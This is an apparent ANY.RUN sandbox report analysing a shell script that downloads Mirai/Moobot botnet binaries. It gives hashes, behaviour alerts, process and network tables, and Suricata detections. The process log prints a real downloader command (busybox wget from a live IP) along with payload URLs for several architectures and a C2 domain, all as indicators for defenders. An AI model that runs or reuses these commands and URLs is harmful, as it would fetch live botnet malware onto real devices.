Malware analysis w.sh Malicious activity | ANY.RUN

Add for printing

File name:	w.sh
Full analysis:	https://app.any.run/tasks/d53e0881-776b-4b24-af34-efbd38b510bc
Verdict:	Malicious activity
Threats:	A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet. Mirai is a self-propagating malware that scans the internet for vulnerable IoT devices and infects them to create a botnet. Mirai variants utilize lists of common default credentials to gain access to devices. Mirai's primary use is for launching distributed denial-of-service (DDoS) attacks, but it has also been used for cryptocurrency mining. Malware Trends Tracker >>>
Analysis date:	May 15, 2025, 10:28:16
OS:	Ubuntu 22.04.2
Tags:	mirai botnet moobot
Indicators:
MIME:	text/plain
File info:	ASCII text, with CRLF line terminators
MD5:	519663EEBEA39F58EA8D7A802EE28D80
SHA1:	A4F7E56F5F627A1588CFD926DC40CB5739AF5EB0
SHA256:	AC9984B335E4C18BA682102C0FC36D0BF43E6CADA5C6B90BBE0E10800D3232E2
SSDEEP:	24:Zg77tNI751KgFi5Dr8hVcEJtBlMpd/apdhHR:Zg77Y51LFiNr8DLRlMpdipdhx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- MIRAI has been detected (SURICATA)
  - x86_64 (PID: 40726)
SUSPICIOUS
- Connects to the server without a host name
  - busybox (PID: 40688)
  - busybox (PID: 40668)
  - busybox (PID: 40684)
  - busybox (PID: 40673)
  - busybox (PID: 40692)
  - busybox (PID: 40700)
  - busybox (PID: 40696)
  - busybox (PID: 40712)
  - busybox (PID: 40715)
  - busybox (PID: 40704)
  - busybox (PID: 40708)
  - busybox (PID: 40720)
- Potential Corporate Privacy Violation
  - busybox (PID: 40668)
  - busybox (PID: 40684)
  - busybox (PID: 40673)
  - busybox (PID: 40688)
  - busybox (PID: 40696)
  - busybox (PID: 40700)
  - busybox (PID: 40692)
  - busybox (PID: 40715)
  - busybox (PID: 40720)
  - busybox (PID: 40704)
  - busybox (PID: 40708)
- Modifies file or directory owner
  - sudo (PID: 40659)
- Executes commands using command-line interpreter
  - sudo (PID: 40664)
- Executes the "rm" command to delete files or directories
  - bash (PID: 40666)
- Connects to unusual port
  - x86_64 (PID: 40726)
  - x86 (PID: 40718)
- Contacting a server suspected of hosting an CnC
  - x86_64 (PID: 40726)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

293

Monitored processes

72

Malicious processes

5

Suspicious processes

9

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
40658	/bin/sh -c "sudo chown user /tmp/w\.sh && chmod +x /tmp/w\.sh && DISPLAY=:0 sudo -iu user /tmp/w\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 0
40659	sudo chown user /tmp/w.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
40660	systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service	/usr/bin/systemctl	—	snapd
User: root Integrity Level: UNKNOWN Exit code: 0
40662	chown user /tmp/w.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
40663	chmod +x /tmp/w.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
40664	sudo -iu user /tmp/w.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
40665	systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service	/usr/bin/systemctl	—	snapd
User: root Integrity Level: UNKNOWN Exit code: 0
40666	-bash --login -c \/tmp\/w\.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 0
40667	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
40668	busybox wget http://103.37.61.126/arm	/usr/bin/busybox		bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

0

Suspicious files

11

Text files

0

Unknown types

0

Dropped files

PID	Process	Filename		Type
40668	busybox	/home/user/arm		binary
		MD5:—	SHA256:—
40673	busybox	/home/user/arm5		binary
		MD5:—	SHA256:—
40684	busybox	/home/user/arm6		binary
		MD5:—	SHA256:—
40688	busybox	/home/user/arm7		binary
		MD5:—	SHA256:—
40692	busybox	/home/user/m68k		binary
		MD5:—	SHA256:—
40696	busybox	/home/user/mips		binary
		MD5:—	SHA256:—
40700	busybox	/home/user/mpsl		binary
		MD5:—	SHA256:—
40704	busybox	/home/user/ppc		binary
		MD5:—	SHA256:—
40708	busybox	/home/user/sh4		binary
		MD5:—	SHA256:—
40715	busybox	/home/user/x86		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

13

TCP/UDP connections

32

DNS requests

29

Threats

64

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.97:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
40684	busybox	GET	200	103.37.61.126:80	http://103.37.61.126/arm6	unknown	—	—	unknown
40668	busybox	GET	200	103.37.61.126:80	http://103.37.61.126/arm	unknown	—	—	unknown
40673	busybox	GET	200	103.37.61.126:80	http://103.37.61.126/arm5	unknown	—	—	unknown
40688	busybox	GET	200	103.37.61.126:80	http://103.37.61.126/arm7	unknown	—	—	unknown
40692	busybox	GET	200	103.37.61.126:80	http://103.37.61.126/m68k	unknown	—	—	unknown
40696	busybox	GET	200	103.37.61.126:80	http://103.37.61.126/mips	unknown	—	—	unknown
40700	busybox	GET	200	103.37.61.126:80	http://103.37.61.126/mpsl	unknown	—	—	unknown
40712	busybox	GET	404	103.37.61.126:80	http://103.37.61.126/spc	unknown	—	—	unknown
40708	busybox	GET	200	103.37.61.126:80	http://103.37.61.126/sh4	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	185.125.190.49:80	—	Canonical Group Limited	GB	unknown
—	—	91.189.91.98:80	—	Canonical Group Limited	US	unknown
—	—	185.125.190.97:80	—	Canonical Group Limited	GB	unknown
—	—	212.102.56.179:443	odrs.gnome.org	Datacamp Limited	DE	whitelisted
512	snapd	185.125.188.57:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.58:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.54:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
40668	busybox	103.37.61.126:80	nnmirai.duckdns.org	—	—	malicious
40673	busybox	103.37.61.126:80	nnmirai.duckdns.org	—	—	malicious

DNS requests

Domain	IP	Reputation
google.com	142.250.186.142 2a00:1450:4001:82a::200e	whitelisted
odrs.gnome.org	212.102.56.179 195.181.170.18 169.150.255.184 169.150.255.180 37.19.194.80 207.211.211.27 195.181.175.40 2a02:6ea0:c700::11 2a02:6ea0:c700::19 2a02:6ea0:c700::21 2a02:6ea0:c700::112 2a02:6ea0:c700::101 2a02:6ea0:c700::107 2a02:6ea0:c700::18	whitelisted
api.snapcraft.io	185.125.188.57 185.125.188.54 185.125.188.58 185.125.188.59 2620:2d:4000:1010::42 2620:2d:4000:1010::117 2620:2d:4000:1010::2e6 2620:2d:4000:1010::344	whitelisted
10.100.168.192.in-addr.arpa	—	unknown
nnmirai.duckdns.org	103.37.61.126 160.250.180.181	malicious
connectivity-check.ubuntu.com	2620:2d:4000:1::96 2620:2d:4000:1::97 2001:67c:1562::23 2620:2d:4000:1::98 2620:2d:4000:1::2b 2620:2d:4002:1::198 2620:2d:4000:1::2a 2620:2d:4000:1::22 2620:2d:4000:1::23 2001:67c:1562::24 2620:2d:4002:1::196	whitelisted

Threats

PID	Process	Class	Message
40668	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40673	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40684	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40688	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40692	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40696	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40700	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40704	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40708	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40718	x86	Potentially Bad Traffic	ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain

Add for printing

No debug info

General Info

w.sh

519663EEBEA39F58EA8D7A802EE28D80

A4F7E56F5F627A1588CFD926DC40CB5739AF5EB0

AC9984B335E4C18BA682102C0FC36D0BF43E6CADA5C6B90BBE0E10800D3232E2

24:Zg77tNI751KgFi5Dr8hVcEJtBlMpd/apdhHR:Zg77Y51LFiNr8DLRlMpdipdhx

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

MIRAI has been detected (SURICATA)

SUSPICIOUS

Connects to the server without a host name

Potential Corporate Privacy Violation

Modifies file or directory owner

Executes commands using command-line interpreter

Executes the "rm" command to delete files or directories

Connects to unusual port

Contacting a server suspected of hosting an CnC

INFO

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings